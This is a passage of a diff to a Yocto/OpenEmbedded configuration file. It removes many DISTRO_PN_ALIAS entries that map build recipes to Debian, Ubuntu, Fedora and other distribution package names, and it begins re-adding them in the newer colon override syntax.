-DISTRO_PN_ALIAS_pn-gstreamer1.0-plugins-bad = "Debian=gstreamer1.0-plugins-bad Ubuntu=gstreamer1.0-plugins-bad"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-plugins-base = "Debian=gstreamer1.0-plugins-base Ubuntu=gstreamer1.0-plugins-base"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-plugins-good = "Debian=gstreamer1.0-plugins-good Ubuntu=gstreamer1.0-plugins-bad"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-rtsp-server = "Ubuntu=gstreamer0.10-rtsp Fedora=gstreamer-rtsp"
-DISTRO_PN_ALIAS_pn-gstreamer1.0-vaapi = "Fedora=gstreamer1-vaapi Debian=gstreamer-vaapi Clear=gstreamer-vaapi"
-DISTRO_PN_ALIAS_pn-gtk+ = "Meego=gtk2 Fedora=gtk2 OpenSuSE=gtk2 Ubuntu=gtk+2.0 Mandriva=gtk+2.0 Debian=gtk+2.0"
-DISTRO_PN_ALIAS_pn-gtk+3 = "Ubuntu=gtk+3.0 Debian=gtk+3.0 Fedora=gtk3"
-DISTRO_PN_ALIAS_pn-gtk-doc = "Fedora=gtk-doc Ubuntu=gtk-doc"
-DISTRO_PN_ALIAS_pn-gtk-engines = "Fedora=gtk2-engines OpenSuSE=gtk2-engines Ubuntu=gtk2-engines Mandriva=gtk-engines2 Debian=gtk2-engines"
-DISTRO_PN_ALIAS_pn-gtk-sato-engine = "OpenedHand"
-DISTRO_PN_ALIAS_pn-gtk-icon-utils-native = "OSPDT"
-DISTRO_PN_ALIAS_pn-systemd-boot = "Ubuntu=systemd-boot Fedora=systemd-boot"
-DISTRO_PN_ALIAS_pn-hello-mod = "OE-Core"
-DISTRO_PN_ALIAS_pn-hwlatdetect = "OSPDT"
-DISTRO_PN_ALIAS_pn-icecc-create-env = "OE-Core"
-DISTRO_PN_ALIAS_pn-init-ifupdown = "Debian=ifupdown Ubuntu=ifupdown"
-DISTRO_PN_ALIAS_pn-initramfs-boot = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-framework = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-boot = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install-efi = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install-efi-testfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-initramfs-live-install-testfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-initscripts = "Fedora=initscripts Mandriva=initscripts"
-DISTRO_PN_ALIAS_pn-iproute2 = "OSPDT"
-DISTRO_PN_ALIAS_pn-jpeg = "OpenSuSE=libjpeg Ubuntu=libjpeg62"
-DISTRO_PN_ALIAS_pn-kernel-devsrc = "Debian=linux-base Ubuntu=linux"
-DISTRO_PN_ALIAS_pn-kern-tools-native = "Windriver"
-DISTRO_PN_ALIAS_pn-keymaps = "OE-Core"
-DISTRO_PN_ALIAS_pn-kf = "OSPDT"
-DISTRO_PN_ALIAS_pn-lame = "Debian=lame Ubuntu=lame"
-DISTRO_PN_ALIAS_pn-ldconfig-native = "Ubuntu=libc-bin Fedora=glibc"
-DISTRO_PN_ALIAS_pn-liba52 = "Mandriva=a52dec Debian=a52dec"
-DISTRO_PN_ALIAS_pn-libacpi = "Ubuntu=libacpi Mandriva=libacpi"
-DISTRO_PN_ALIAS_pn-libatomics-ops = "Meego=libatomic-ops Debian=libatomic-ops Ubuntu=libatomic-ops OpenSuSE=libatomic-ops Mandriva=libatomic-ops"
-DISTRO_PN_ALIAS_pn-libcgroup = "Ubuntu=libcgroup1 Debian=libcgroup1"
-DISTRO_PN_ALIAS_pn-libcheck = "Ubuntu=check Fedora=check OpenSuSE=check"
-DISTRO_PN_ALIAS_pn-libclass-isa-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libdumpvalue-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libenv-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-liberation-fonts = "Ubuntu=fonts-liberation Fedora=liberation-fonts-ttf"
-DISTRO_PN_ALIAS_pn-libfakekey = "Meego1.0=libfakekey Debian=libfakekey"
-DISTRO_PN_ALIAS_pn-libfile-checktree-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libfm-extra = "Opensuse=libfm-extra4 Ubuntu=libfm-extra4"
-DISTRO_PN_ALIAS_pn-libgcc = "Debian=libgcc4 Ubuntu=libgcc1 OpenSuSE=libgcc46"
-DISTRO_PN_ALIAS_pn-libgdbus = "Intel"
-DISTRO_PN_ALIAS_pn-libglade = "Meego=libglade2 Fedora=libglade2 OpenSuSE=libglade2 Ubuntu=libglade2 Mandriva=libglade2.0 Debian=libglade2"
-DISTRO_PN_ALIAS_pn-libglu = "Debian=libglu Ubuntu=libglu Opensuse=mesa-libglu"
-DISTRO_PN_ALIAS_pn-libgu = "OpenSuSE=glu OSPDT"
-DISTRO_PN_ALIAS_pn-libi18n-collate-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libical = "Ubuntu=libical Fedora=libical"
-DISTRO_PN_ALIAS_pn-libiconv = "Fedora=mingw-libiconv Opensuse=cross-mingw-libiconv"
-DISTRO_PN_ALIAS_pn-libinput = "Ubuntu=libinput0 Fedora=libinput0"
-DISTRO_PN_ALIAS_pn-libjson = "Ubuntu=libjson0-dev Debian=libjson0-dev"
-DISTRO_PN_ALIAS_pn-libksba = "Fedora=libksba Debian=libksba8 Ubuntu=libksba"
-DISTRO_PN_ALIAS_pn-libmatchbox = "Ubuntu=libmatchbox Fedora=libmatchbox"
-DISTRO_PN_ALIAS_pn-libmpc = "Fedora=libmpc OpenSuse=libmpc2"
-DISTRO_PN_ALIAS_pn-libnewt = "Debian=libnewt0.52 Fedora=newt"
-DISTRO_PN_ALIAS_pn-libnewt-python = "Ubuntu=python-newt Fedora=newt-python"
-DISTRO_PN_ALIAS_pn-libnl = "Mandriva=libnl Fedora=libnl"
-DISTRO_PN_ALIAS_pn-libnss-mdns = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
-DISTRO_PN_ALIAS_pn-libomxil = "OSPDT upstream=http://omxil.sourceforge.net/"
-DISTRO_PN_ALIAS_pn-libowl = "Debian=owl OpenedHand"
-DISTRO_PN_ALIAS_pn-libpam = "Meego=pam Fedora=pam OpenSuSE=pam Ubuntu=pam Mandriva=pam Debian=pam"
-DISTRO_PN_ALIAS_pn-libpcre = "Mandriva=libpcre0 Fedora=pcre"
-DISTRO_PN_ALIAS_pn-libpcre2 = "Fedora=pcre2 Debian=pcre2 Clear=pcre2"
-DISTRO_PN_ALIAS_pn-libpng12 = "Debian=libpng12-0 Fedora=libpng"
-DISTRO_PN_ALIAS_pn-libpod-plainer-perl = "OSPDT"
-DISTRO_PN_ALIAS_pn-libsamplerate0 = "Meego=libsamplerate Fedora=libsamplerate OpenSuSE=libsamplerate Ubuntu=libsamplerate Mandriva=libsamplerate Debian=libsamplerate"
-DISTRO_PN_ALIAS_pn-libsdl2 = "Fedora=sdl2 Opensuse=libsdl2 Ubuntu=libsdl2 Debian=libsdl2"
-DISTRO_PN_ALIAS_pn-libsndfile1 = "Meego=libsndfile Fedora=libsndfile OpenSuSE=libsndfile Ubuntu=libsndfile Mandriva=libsndfile Debian=libsndfile"
-DISTRO_PN_ALIAS_pn-libsoup-2.4 = "Meego=libsoup Fedora=libsoup OpenSuSE=libsoup Ubuntu=libsoup2.4 Mandriva=libsoup Debian=libsoup2.4"
-DISTRO_PN_ALIAS_pn-libtelepathy = "Debian=libtelepathy2 Ubuntu=libtelepathy2"
-DISTRO_PN_ALIAS_pn-libtimedate-perl = "Debian=libtimedate-perl Ubuntu=libtimedate-perl"
-DISTRO_PN_ALIAS_pn-liburcu = "Fedora=userspace-rcu Ubuntu=liburcu0"
-DISTRO_PN_ALIAS_pn-libusb1 = "Debian=libusb-1.0-0 Fedora=libusb1"
-DISTRO_PN_ALIAS_pn-libx11 = "Debian=libx11-6 Fedora=libX11 Ubuntu=libx11-6 OpenSuSE=xorg-x11-libX11"
-DISTRO_PN_ALIAS_pn-libxcalibrate = "OSPDT upstream=http://cgit.freedesktop.org/xorg/lib/libXCalibrate/"
-DISTRO_PN_ALIAS_pn-libxfont2 = "Fedora=libXfont2 Clear=libXfont2"
-DISTRO_PN_ALIAS_pn-libxft = "Mandriva=libxft Debian=libxft2 Ubuntu=libxft2"
-DISTRO_PN_ALIAS_pn-libxi = "Ubuntu=libxi Fedora=libXi"
-DISTRO_PN_ALIAS_pn-libxkbcommon = "Fedora=libxkbcommon Debian=libxkbcommon"
-DISTRO_PN_ALIAS_pn-libxscrnsaver = "Fedora=libXScrnSaver Ubuntu=libxss1 Mandriva=libxscrnsaver"
-DISTRO_PN_ALIAS_pn-linux-dummy = "Intel"
-DISTRO_PN_ALIAS_pn-linux-firmware = "Fedora=linux-firmware Ubuntu=linux-firmware"
-DISTRO_PN_ALIAS_pn-linux-libc-headers = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
-DISTRO_PN_ALIAS_pn-linux-libc-headers-yocto = "Debian=linux-kernel-headers Ubuntu=linux-kernel-headers"
-DISTRO_PN_ALIAS_pn-linux-yocto = "Debian=linux-base Ubuntu=linux"
-DISTRO_PN_ALIAS_pn-linux-yocto-rt = "Debian=linux-base Ubuntu=linux"
-DISTRO_PN_ALIAS_pn-linux-yocto-tiny = "OSPDT"
-DISTRO_PN_ALIAS_pn-ltp = "Mandriva=ltp Ubuntu=ltp"
-DISTRO_PN_ALIAS_pn-lttng-modules = "OSPDT upstream=http://lttng.org/"
-DISTRO_PN_ALIAS_pn-lttng-tools = "OSPDT upstream=http://lttng.org/"
-DISTRO_PN_ALIAS_pn-lttng-ust = "OSPDT upstream=http://lttng.org/"
-DISTRO_PN_ALIAS_pn-lz4 = "Debian=lz4 Fedora=lz4"
-DISTRO_PN_ALIAS_pn-lzo = "Debian=liblzo Ubuntu=liblzo Fedora=lzp"
-DISTRO_PN_ALIAS_pn-mailx = "Debian=bsd-mailx Ubuntu=bsd-mailx"
-DISTRO_PN_ALIAS_pn-makedepend = "Mandriva=makedepend Ubuntu=xutils-dev"
-DISTRO_PN_ALIAS_pn-makedevs = "OE-Core"
-DISTRO_PN_ALIAS_pn-matchbox-config-gtk = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-desktop = "Mandriva=matchbox-desktop Ubuntu=matchbox-desktop"
-DISTRO_PN_ALIAS_pn-matchbox-desktop-sato = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-keyboard = "Debian=matchbox-keyboard Fedora=matchbox-keyboard"
-DISTRO_PN_ALIAS_pn-matchbox-panel-2 = "Debian=matchbox-panel Mandriva=matchbox-panel Ubuntu=matchbox-panel"
-DISTRO_PN_ALIAS_pn-matchbox-session = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-session-sato = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-terminal = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-theme-sato = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-themes-extra = "Ubuntu=matchbox-themes-extra Mandriva=matchbox-themes-extra"
-DISTRO_PN_ALIAS_pn-matchbox-themes-gtk = "OpenedHand"
-DISTRO_PN_ALIAS_pn-matchbox-wm = "OpenedHand"
-DISTRO_PN_ALIAS_pn-menu-cache = "OSPDT"
-DISTRO_PN_ALIAS_pn-mesa = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
-DISTRO_PN_ALIAS_pn-mesa-gl = "Fedora=mesa Ubuntu=libgl1-mesa-dri"
-DISTRO_PN_ALIAS_pn-meta-environment-extsdk-qemux86 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-environment-i586 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-environment-qemux86 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-environment-qemux86-64 = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-ide-support = "OE-Core"
-DISTRO_PN_ALIAS_pn-meta-toolchain = "OE-Core"
-DISTRO_PN_ALIAS_pn-mini-x-session = "OSPDT"
-DISTRO_PN_ALIAS_pn-mkelfimage = "Ubuntu=mkelfimage Fedora=mkelfimage"
-DISTRO_PN_ALIAS_pn-mkfontdir = "Mandriva=mkfontdir Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
-DISTRO_PN_ALIAS_pn-mkfontscale = "Mandriva=mkfontscale Ubuntu=xfonts-utils Fedora=xorg-x11-font-utils"
-DISTRO_PN_ALIAS_pn-mmc-utils = "OE-Core"
-DISTRO_PN_ALIAS_pn-modutils-initscripts = "OE-Core"
-DISTRO_PN_ALIAS_pn-mtd-utils = "Debian=mtd-utils Ubuntu=mtd-utils"
-DISTRO_PN_ALIAS_pn-mx-1.0 = "Ubuntu=mx Debian=mx Fedora=mx"
-DISTRO_PN_ALIAS_pn-neard = "Intel"
-DISTRO_PN_ALIAS_pn-neon = "Fedora=neon Opensuse=neon"
-DISTRO_PN_ALIAS_pn-network-suspend-scripts = "OE-Core"
-DISTRO_PN_ALIAS_pn-nfs-export-root = "OpenedHand"
-DISTRO_PN_ALIAS_pn-npth = "OSPDT"
-DISTRO_PN_ALIAS_pn-nss-myhostname = "Meego=nss-mdns OpenSuSE=nss-mdns Ubuntu=nss-mdns Mandriva=nss_mdns Debian=nss-mdns"
-DISTRO_PN_ALIAS_pn-ofono = "Debian=ofono Ubuntu=ofono"
-DISTRO_PN_ALIAS_pn-oh-puzzles = "OpenedHand"
-DISTRO_PN_ALIAS_pn-opkg = "OSPDT upstream=http://svn.openmoko.org/trunk/src/tar"
-DISTRO_PN_ALIAS_pn-opkg-arch-config = "OE-Core"
-DISTRO_PN_ALIAS_pn-opkg-collateral = "OE-Core"
-DISTRO_PN_ALIAS_pn-opkg-keyrings = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
-DISTRO_PN_ALIAS_pn-opkg-nogpg = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
-DISTRO_PN_ALIAS_pn-opkg-utils = "OSPDT upstream=git://git.yoctoproject.org/opkg-utils"
-DISTRO_PN_ALIAS_pn-os-release = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-base = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-boot = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-buildessential = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-clutter = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-device-devel = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-eclipse-debug = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-full-cmdline = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-nfs = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-sdk = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-ssh-dropbear = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-ssh-openssh = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-standalone-sdk-target = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools-debug = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools-profile = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-tools-testapps = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-base = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-mini = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-sato = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-core-x11-xserver = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-cross-canadian-i586 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-cross-canadian-qemux86 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-cross-canadian-qemux86-64 = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-sdk-host = "OE-Core"
-DISTRO_PN_ALIAS_pn-packagegroup-self-hosted = "OE-Core"
-DISTRO_PN_ALIAS_pn-package-index = "OE-Core"
-DISTRO_PN_ALIAS_pn-patchelf = "Opensuse=patchelf Fedora=patchelf"
-DISTRO_PN_ALIAS_pn-perf = "OSPDT"
-DISTRO_PN_ALIAS_pn-piglit = "OE-Core"
-DISTRO_PN_ALIAS_pn-pkgconfig = "Ubuntu=pkg-config Fedora=pkgconfig"
-DISTRO_PN_ALIAS_pn-pointercal-xinput = "OE-Core"
-DISTRO_PN_ALIAS_pn-pong-clock = "OpenedHand"
-DISTRO_PN_ALIAS_pn-portmap = "Debian=rpcbind Fedora=rpcbind"
-DISTRO_PN_ALIAS_pn-powertop = "Meego=powertop Fedora=powertop Debian=powertop OpenSuSE=powertop Mandriva=powertop"
-DISTRO_PN_ALIAS_pn-ppp-dialin = "OE-Core"
-DISTRO_PN_ALIAS_pn-pseudo = "Windriver"
-DISTRO_PN_ALIAS_pn-psplash = "OpenedHand"
-DISTRO_PN_ALIAS_pn-ptest-runner = "OE-Core"
-DISTRO_PN_ALIAS_pn-pulseaudio-client-conf-sato = "OE-Core"
-DISTRO_PN_ALIAS_pn-puzzles = "Debian=sgt-puzzles Fedora=puzzles"
-DISTRO_PN_ALIAS_pn-python3 = "Fedora=python3 Debian=python3.2"
-DISTRO_PN_ALIAS_pn-python3-iniparse = "Fedora=python-iniparse Debian=python-iniparse"
-DISTRO_PN_ALIAS_pn-python3-pip = "OpenSuSE=python3-pip Debian=python3-pip"
-DISTRO_PN_ALIAS_pn-python3-pycurl = "Fedora=python-pycurl Debian=pycurl"
-DISTRO_PN_ALIAS_pn-python3-pygpgme = "Fedora=python-pygpgme Debian=pygpgme"
-DISTRO_PN_ALIAS_pn-python3-setuptools = "OpenSuSE=python3-setuptools Debian=python3-setuptools"
-DISTRO_PN_ALIAS_pn-python-dbus = "Ubuntu=python-dbus Debian=python-dbus Mandriva=python-dbus"
-DISTRO_PN_ALIAS_pn-python-git = "Debian=python-git Fedora=GitPython"
-DISTRO_PN_ALIAS_pn-python-mako = "Fedora=python-mako Opensuse=python-Mako"
-DISTRO_PN_ALIAS_pn-python-pycairo = "Meego=pycairo Fedora=pycairo Ubuntu=pycairo Debian=pycairo"
-DISTRO_PN_ALIAS_pn-python-pygobject = "Meego=pygobject2 Fedora=pygobject2 Ubuntu=pygobject Debian=pygobject"
-DISTRO_PN_ALIAS_pn-python-scons = "Fedora=scons OpenSuSE=scons Ubuntu=scons Mandriva=scons Debian=scons"
-DISTRO_PN_ALIAS_pn-python-setuptools = "Mandriva=python-setup OpenSuSE=python-setup-git"
-DISTRO_PN_ALIAS_pn-python-smartpm = "Debian=smart OpenSuSE=smart"
-DISTRO_PN_ALIAS_pn-qemu-config = "OpenedHand"
-DISTRO_PN_ALIAS_pn-qemugl = "OpenedHand"
-DISTRO_PN_ALIAS_pn-qemu-helper = "OpenedHand"
-DISTRO_PN_ALIAS_pn-qemuwrapper-cross = "OE-Core"
-DISTRO_PN_ALIAS_pn-readline = "Fedora=readline Debian=readline-common"
-DISTRO_PN_ALIAS_pn-remake = "Mandriva=remake Debian=remake"
-DISTRO_PN_ALIAS_pn-rgb = "Fedora=xorg-X11-server-utils Debian=x11-xserver-utils"
-DISTRO_PN_ALIAS_pn-rpmresolve = "OSPDT"
-DISTRO_PN_ALIAS_pn-rt-tests = "Debian=rt-tests Ubuntu=rt-tests"
-DISTRO_PN_ALIAS_pn-run-postinsts = "OE-Core"
-DISTRO_PN_ALIAS_pn-sato-icon-theme = "OpenedHand"
-DISTRO_PN_ALIAS_pn-sato-screenshot = "OpenedHand"
-DISTRO_PN_ALIAS_pn-sbc = "Fedora=sbc Debian=libsbc1"
-DISTRO_PN_ALIAS_pn-screenshot = "OpenedHand"
-DISTRO_PN_ALIAS_pn-settings-daemon = "OpenedHand"
-DISTRO_PN_ALIAS_pn-sgml-common = "OpenSuSE=sgml-common Fedora=sgml-common"
-DISTRO_PN_ALIAS_pn-sgmlspl = "Debian=sgmlspl Ubuntu=sgmlspl"
-DISTRO_PN_ALIAS_pn-shadow-securetty = "Ubuntu=shadow Fedora=shadow"
-DISTRO_PN_ALIAS_pn-shadow-sysroot = "Ubuntu=shadow Fedora=shadow"
-DISTRO_PN_ALIAS_pn-shutdown-desktop = "OpenedHand"
-DISTRO_PN_ALIAS_pn-speexdsp = "Ubuntu=libspeexdsp1 Fedora=speexdsp"
-DISTRO_PN_ALIAS_pn-stat = "Debian=coreutils Fedora=coreutils"
-DISTRO_PN_ALIAS_pn-stress = "Debian=stress Fedora=stress"
-DISTRO_PN_ALIAS_pn-sysklogd = "Debian=sysklogd Mandriva=sysklogd"
-DISTRO_PN_ALIAS_pn-sysprof = "Fedora=sysprof Debian=sysprof"
-DISTRO_PN_ALIAS_pn-systemd-compat-units = "Fedora=systemd Ubuntu=systemd"
-DISTRO_PN_ALIAS_pn-systemd-systemctl = "OE-Core"
-DISTRO_PN_ALIAS_pn-systemd-systemdctl = "Fedora=systemd Ubuntu=systemd"
-DISTRO_PN_ALIAS_pn-systemtap-uprobes = "Ubuntu=systemtap Debian=systemtap"
-DISTRO_PN_ALIAS_pn-sysvinit-inittab = "OE-Core"
-DISTRO_PN_ALIAS_pn-tar-replacement = "Fedora=tar Ubuntu=tar"
-DISTRO_PN_ALIAS_pn-tcf-agent = "Windriver upstream=http://www.eclipse.org/dsdp/tm/"
-DISTRO_PN_ALIAS_pn-texinfo-dummy-native = "OE-Core"
-DISTRO_PN_ALIAS_pn-tiny-init = "OSPDT"
-DISTRO_PN_ALIAS_pn-tremor = "OSPDT upstream=http://www.xiph.org/vorbis/"
-DISTRO_PN_ALIAS_pn-ttf-bitstream-vera = "Debian=ttf-bitstream-vera Ubuntu=ttf-bitstream-vera"
-DISTRO_PN_ALIAS_pn-tzcode = "OSPDT"
-DISTRO_PN_ALIAS_pn-u-boot-fw-utils = "Ubuntu=u-boot-tools Debian=u-boot-tools"
-DISTRO_PN_ALIAS_pn-u-boot-tools = "Ubuntu=u-boot-tools Debian=uboot-tools"
-DISTRO_PN_ALIAS_pn-udev = "Mandriva=udev Fedora=udev"
-DISTRO_PN_ALIAS_pn-udev-extraconf = "OE-Core"
-DISTRO_PN_ALIAS_pn-unfs3 = "Debian=unfs3 Fedora=unfs3"
-DISTRO_PN_ALIAS_pn-unfs-server = "OE-Core"
-DISTRO_PN_ALIAS_pn-uninative-tarball = "OE-Core"
-DISTRO_PN_ALIAS_pn-update-alternatives-dpkg = "Opensuse=update-alternatives Mandriva=update-alternatives"
-DISTRO_PN_ALIAS_pn-update-rc.d = "OE-Core"
-DISTRO_PN_ALIAS_pn-usbinit = "OE-Core"
-DISTRO_PN_ALIAS_pn-util-macros = "Meego=xorg-x11-util-macros Fedora=xorg-x11-util-macros Mandriva=x11-util-macros"
-DISTRO_PN_ALIAS_pn-v86d = "Debian=v86d Ubuntu=v86d"
-DISTRO_PN_ALIAS_pn-waffle = "OE-Core"
-DISTRO_PN_ALIAS_pn-watchdog = "Debian=watchdog Ubuntu=watchdog Mandriva=watchdog"
-DISTRO_PN_ALIAS_pn-webkitgtk = "Fedora=webkitgtk Ubuntu=libwebkit"
-DISTRO_PN_ALIAS_pn-weston = "Fedora=weston OpenSuSE=weston"
-DISTRO_PN_ALIAS_pn-weston-init = "OE-Core"
-DISTRO_PN_ALIAS_pn-which = "Mandriva=which Fedora=which"
-DISTRO_PN_ALIAS_pn-wpa-supplicant = "Meego=wpa_supplicant Fedora=wpa_supplicant OpenSuSE=wpa_supplicant Ubuntu=wpasupplicant Mandriva=wpa_supplicant Debian=wpasupplicant"
-DISTRO_PN_ALIAS_pn-x11perf = "Fedora=xorg-x11-apps Ubuntu=x11-apps"
-DISTRO_PN_ALIAS_pn-xcb-util-image = "Debian=xcb-util Fedora=xcb-util"
-DISTRO_PN_ALIAS_pn-xcb-util-keysyms = "Debian=xcb-util Fedora=xcb-util"
-DISTRO_PN_ALIAS_pn-xcb-util-wm = "Debian=xcb-util Fedora=xcb-util"
-DISTRO_PN_ALIAS_pn-xcursor-transparent-theme = "OpenedHand"
-DISTRO_PN_ALIAS_pn-xdpyinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xev = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xeyes = "Ubuntu=x11-apps Fedora=xorg-x11-apps"
-DISTRO_PN_ALIAS_pn-xf86-input-evdev = "Ubuntu=xserver-xorg-input-evdev Mandriva=x11-driver-input-evdev Debian=xserver-xorg-input-evdev Fedora=xorg-x11-drv-evdev Meego=xorg-x11-drv-evdev"
-DISTRO_PN_ALIAS_pn-xf86-input-keyboard = "Meego=xorg-x11-drv-keyboard Fedora=xorg-x11-drv-keyboard Mandriva=x11-driver-input-keyboard Debian=xserver-xorg-input-keyboard"
-DISTRO_PN_ALIAS_pn-xf86-input-mouse = "Ubuntu=xserver-xorg-input-mouse Mandriva=x11-driver-input-mouse Debian=xserver-xorg-input-mouse"
-DISTRO_PN_ALIAS_pn-xf86-input-synaptics = "Meego=xorg-x11-drv-synaptics Fedora=xorg-x11-drv-synaptics Ubuntu=xserver-xorg-input-synaptics Mandriva=x11-driver-input-synaptics Debian=xfree86-driver-synaptics"
-DISTRO_PN_ALIAS_pn-xf86-input-vmmouse = "Fedora=xorg-x11-drv-vmmouse Ubuntu=xserver-xorg-input-vmmouse Mandriva=x11-driver-input-vmmouse Debian=xserver-xorg-input-vmmouse"
-DISTRO_PN_ALIAS_pn-xf86-video-cirrus = "Opensuse=xf86-video-cirrus Debian=xserver-xorg-video-cirrus"
-DISTRO_PN_ALIAS_pn-xf86-video-fbdev = "Ubuntu=xserver-xorg-video-fbdev Debian=xserver-xorg-video-fbdev"
-DISTRO_PN_ALIAS_pn-xf86-video-intel = "Debian=xserver-xorg-video-intel Fedora=xorg-x11-drv-intel Mandriva=x11-driver-video-intel Meego=xorg-x11-drv-intel Ubuntu=xserver-xorg-video-intel"
-DISTRO_PN_ALIAS_pn-xf86-video-modesetting = "Debian=xserver-xorg-video-modesetting Fedora=xf86-video-modesetting"
-DISTRO_PN_ALIAS_pn-xf86-video-omap = "Ubuntu=xf86-video-omap Debian=xf86-video-omap"
-DISTRO_PN_ALIAS_pn-xf86-video-omapfb = "OSPDT"
-DISTRO_PN_ALIAS_pn-xf86-video-vesa = "Debian=xserver-xorg-video-vesa Fedora=xorg-x11-drv-vesa Mandriva=x11-driver-video-vesa Ubuntu=xserver-xorg-video-vesa"
-DISTRO_PN_ALIAS_pn-xf86-video-vmware = "Debian=xserver-xorg-video-vmware Fedora=xorg-x11-drv-vmware Mandriva=x11-driver-video-vmware Ubuntu=xserver-xorg-video-vmware"
-DISTRO_PN_ALIAS_pn-xhost = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
-DISTRO_PN_ALIAS_pn-xinput-calibrator = "Fedora=xinput-calibrator Mandravia=xinput-calibrator Ubuntu=xinput-calibrator"
-DISTRO_PN_ALIAS_pn-xkbcomp = "Ubuntu=x11-xkb-utils Fedora=xorg-x11-xkb-utils"
-DISTRO_PN_ALIAS_pn-xmodmap = "Meego=xorg-x11-utils-xmodmap Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils"
-DISTRO_PN_ALIAS_pn-xorg-minimal-fonts = "Ubuntu=xfonts-base Fedora=xorg-x11-fonts-base"
-DISTRO_PN_ALIAS_pn-xorgproto = "OSPDT upstream=http://cgit.freedesktop.org/xorg/proto/xorgproto"
-DISTRO_PN_ALIAS_pn-xprop = "Meego=xorg-x11-utils-xprop Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xproxymanagementprotocol = "Meego=xorg-x11-proto-xproxymanagementprotocol"
-DISTRO_PN_ALIAS_pn-xrandr = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
-DISTRO_PN_ALIAS_pn-xrdb = "Ubuntu=x11-xserver-utils Fedora=xorg-x11-server-utils"
-DISTRO_PN_ALIAS_pn-xserver-nodm-init = "OE-Core"
-DISTRO_PN_ALIAS_pn-xserver-xf86-config = "OE-Core"
-DISTRO_PN_ALIAS_pn-xserver-xf86-dri-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
-DISTRO_PN_ALIAS_pn-xserver-xf86-lite = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
-DISTRO_PN_ALIAS_pn-xserver-xorg = "Fedora=xorg-x11-server Ubuntu=xserver-xorg"
-DISTRO_PN_ALIAS_pn-xset = "Fedora=xorg-x11-server-utils Ubuntu=x11-xserver-utils Debian=x11-xserver-utils Opensuse=xorg-x11"
-DISTRO_PN_ALIAS_pn-xuser-account = "OE-Core"
-DISTRO_PN_ALIAS_pn-xvinfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
-DISTRO_PN_ALIAS_pn-xwininfo = "Fedora=xorg-x11-utils Ubuntu=x11-utils"
+DISTRO_PN_ALIAS:pn-alsa-state = "OE-Core"
+DISTRO_PN_ALIAS:pn-alsa-utils-alsaconf = "OE-Core"
+DISTRO_PN_ALIAS:pn-alsa-utils-scripts = "OE-Core"
+DISTRO_PN_ALIAS:pn-atk = "Fedora=atk OpenSuSE=atk"
